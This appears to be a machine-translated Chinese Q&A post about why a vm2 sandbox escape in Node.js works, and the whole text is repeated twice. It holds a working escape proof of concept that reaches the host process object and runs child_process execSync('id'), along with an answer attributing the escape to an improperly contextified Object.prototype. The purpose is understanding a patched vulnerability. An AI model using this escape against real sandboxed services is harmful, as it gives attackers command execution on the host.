node.js中vm2沙箱逃逸如何理解下面的代码
How to understand the following code to escape the vm2 sandbox in node.js
我尽量去理解下面的代码,因为理解对我帮助很大
"use strict";
const {VM} = require('vm2');
const untrusted = `var process;
try{
Object.defineProperty(Buffer.from(""), "", {get set(){
Object.defineProperty(Object.prototype,"get",{get(){
throw x=>x.constructor("return process")();
}});
return ()=>{};
}});
}catch(e){
process = e(()=>{});
}
process.mainModule.require("child_process").execSync("id").toString();`;
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
以上代码可以逃脱vm2沙箱。我从 GitHub 克隆了 vm2 的源代码并重置为 7ecabb1。
我知道vm2比vm更安全,因为它在es6中通过代理阻塞了原型链。上面代码中抛出并捕获了一个异常,然后传入一个箭头函数到x = > x.constructor ("return process") ()
;此时x是一个代理对象,可以访问外部Function进行转义
我也试试这个代码
"use strict";
const {VM} = require('vm2');
const untrusted = `var process;
try{
throw function (x) {
debugger;
return x.constructor("return process")();
};
}catch (e) {
e(()=>{});
}`;
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
但是在这段代码中,同样如此 x => x.constructor ("return process") ()
此时,x是一个函数,无法逃脱沙箱,所以我很困惑。第一段代码能逃出vm2的沙箱是什么原因?
如果您阅读修复 https://github.com/patriksimek/vm2/commit/23576ad235b522d70f7acc2aae11ed36d3cf3aac,您会发现 Object.prototype
未正确 上下文化。
在您的第二段代码中,您不会妥协 getter/setter 以在主机中注入函数 运行。
基本上,代理不完整。
我尽量去理解下面的代码,因为理解对我帮助很大
"use strict";
const {VM} = require('vm2');
const untrusted = `var process;
try{
Object.defineProperty(Buffer.from(""), "", {get set(){
Object.defineProperty(Object.prototype,"get",{get(){
throw x=>x.constructor("return process")();
}});
return ()=>{};
}});
}catch(e){
process = e(()=>{});
}
process.mainModule.require("child_process").execSync("id").toString();`;
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
以上代码可以逃脱vm2沙箱。我从 GitHub 克隆了 vm2 的源代码并重置为 7ecabb1。
我知道vm2比vm更安全,因为它在es6中通过代理阻塞了原型链。上面代码中抛出并捕获了一个异常,然后传入一个箭头函数到x = > x.constructor ("return process") ()
;此时x是一个代理对象,可以访问外部Function进行转义
我也试试这个代码
"use strict";
const {VM} = require('vm2');
const untrusted = `var process;
try{
throw function (x) {
debugger;
return x.constructor("return process")();
};
}catch (e) {
e(()=>{});
}`;
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}
但是在这段代码中,同样如此 x => x.constructor ("return process") ()
此时,x是一个函数,无法逃脱沙箱,所以我很困惑。第一段代码能逃出vm2的沙箱是什么原因?
如果您阅读修复 https://github.com/patriksimek/vm2/commit/23576ad235b522d70f7acc2aae11ed36d3cf3aac,您会发现 Object.prototype
未正确 上下文化。
在您的第二段代码中,您不会妥协 getter/setter 以在主机中注入函数 运行。
基本上,代理不完整。